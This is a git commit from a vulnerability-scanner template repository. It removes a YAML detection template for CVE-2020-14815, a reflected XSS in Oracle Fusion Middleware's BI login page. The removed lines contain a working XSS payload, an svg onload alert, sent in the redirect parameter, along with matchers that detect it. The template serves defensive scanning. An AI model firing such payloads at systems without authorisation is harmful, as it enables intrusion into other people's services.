Removing cve-2020-14815

This will be added back with support of https://github.com/projectdiscovery/nuclei/issues/295
patch-1
bauthard 2020-11-26 20:59:10 +05:30
parent 245d0208e4
commit a1732cc1a3
1 changed files with 0 additions and 29 deletions

View File

@ -1,29 +0,0 @@
id: cve-2020-14815
info:
name: Oracle Fusion Middleware XSS
author: shine
severity: medium
# Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
requests:
- method: GET
path:
- "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<svg/onload=alert(document.domain)>"
part: body
- type: word
words:
- "application/json"
part: header
negative: true